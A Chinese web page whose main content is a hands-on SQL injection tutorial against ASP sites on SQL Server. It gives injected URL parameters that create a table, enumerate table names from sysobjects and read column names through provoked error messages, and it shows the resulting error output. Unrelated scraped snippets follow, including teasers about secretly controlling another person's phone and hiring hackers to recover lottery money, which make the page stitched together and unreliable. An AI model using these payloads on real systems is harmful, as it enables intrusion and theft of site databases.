大家在是否碰到过这样的站点:
全站文章系统采用FSO静态生成的HTML文件来显示。这样做的好处一来可以减轻服务器负担,提高访问速度。二来也阻止了SQL注入式的攻击。。
我来说说他们的文章系统原理:全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。
攻击 *** :
查看源文件/看里面是否有通过 *** 来调用的页面。
如调用来更新文章的浏览次数。
我们就可以这样来试一下可否注入:
http://服务器域名/count.asp?id=1552’
看一下是否出错。如出错说明有注入漏洞。然后正常攻击。
在本机建立一下post.htm的文件和log.txt的文本文件(用来记录用,这是一个好习惯)
post.htm内容:主要是方便输入。
对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER
对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--
然后插入一条记录:id=1552;insert into aaa values(’test’);--
再之后枚举出他的数据表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--
这是将之一个表名更新到aaa的字段处。
id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情况会将表名直接读出:看:
Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’
将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。
/search.asp,行21
其中vote就是表名:
也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那个表的一条记录中去。通过网页显示。
读出之一个表,第二个表可以这样读出来(在条件后加上 and name<>’刚才得到的表名’)。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,^^^^^^一个个的读出,直到没有为止。
读字段是这样:
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
各种病毒时至今日也可算是百花齐放了,搞得人心惶惶,一旦发现自己的电脑有点异常就认定是病毒在作怪,到处找杀毒软件,总之似乎不找到"元凶"誓不罢休一样,结果病毒软件是用了一个又一个,但结果有时却往往在意料...
没有任何借口心得体会(没有任何借口读书心得) “没有任何借口”,乍一看,有一种刻薄冷漠的感觉,似乎是告诉我们对上级要求无条件服从,不能寻找任何理由,可读完之后,才发现它是美国西点军百思特网校200多...
怎能羁系另一方手机上的一切状态(羁系他人微信聊哪些)我手机就被别人操作了总之是另一方提醒我可以见到信息内容,修复系统恢复能够破译,再被控制也是易如反掌啊怎样远程操作他人手机上?1、最先必须品牌手机一...
11月23日,记者从洪炉亲友处获悉,战地记者洪炉11月21日下午4时41分,在北京306医院因病去世,享年88岁。定于11月27日上午10时在北京八宝山殡仪馆举行告别仪式。 1952年,洪炉以志愿军...
本文目录一览: 1、如何验证自己电脑被黑 2、电脑被入侵有什么现象 3、怎么知道电脑被黑客攻击了? 4、问一下电脑被黑客攻击会有什么后果?谢谢~ 5、电脑被黑有什么特征? 6、如何...
一、弄回彩票提不出来的钱怎么找黑客 1、找站接网单他们也可以说是黑客。弄回彩票提不出来的钱攻击政务他们几乎疯狂地研究更深入的计算机知识,并愿意与他人分享结果。他们曾经是计算机发展史上的英雄,在促进计算...